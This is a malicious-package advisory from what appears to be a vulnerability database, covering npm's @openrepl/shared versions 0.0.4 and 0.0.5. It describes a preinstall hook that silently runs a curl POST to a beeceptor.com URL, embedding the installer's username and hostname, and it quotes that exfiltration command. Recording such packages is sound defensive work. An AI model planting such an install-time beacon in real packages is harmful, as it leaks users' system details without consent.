MAL-2026-14057

    Dashboard / Malicious Package / MAL-2026-14057

    MAL-2026-14057

    Published: 15 Aug 2026Last Modified: 15 Aug 2026

    Summary: Malicious code in @openrepl/shared (npm)

    Details: Source: amazon-inspector (2fcd297122e7aac00cd0d3d92fcb5f1fc00b6c558571a037b5447eb64bd443b8) package.json declares a preinstall hook (`node index.js`) that runs automatically on `npm install`. index.js shells out via `child_process` to execute `curl -X POST` against `https://youjoex.free.beeceptor.com/$(whoami)/$(hostname)`, embedding the installer's OS username and hostname (captured via command substitution) in the URL path. beeceptor.com is a public request-inspection service commonly used as a low-effort exfiltration sink. The package advertises no functionality that would justify this network beacon and ships no other library code consistent with its `shared` name.

    References: https://www.npmjs.com/package/@openrepl/shared/v/0.0.5, https://www.npmjs.com/package/@openrepl/shared/v/0.0.4

    Affected packages

    Package

    Name: @openrepl/shared

    Purl: pkg:npm/%40openrepl/shared

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    0.0.5
    0.0.4
    MAL-2026-14057 | CVE-DB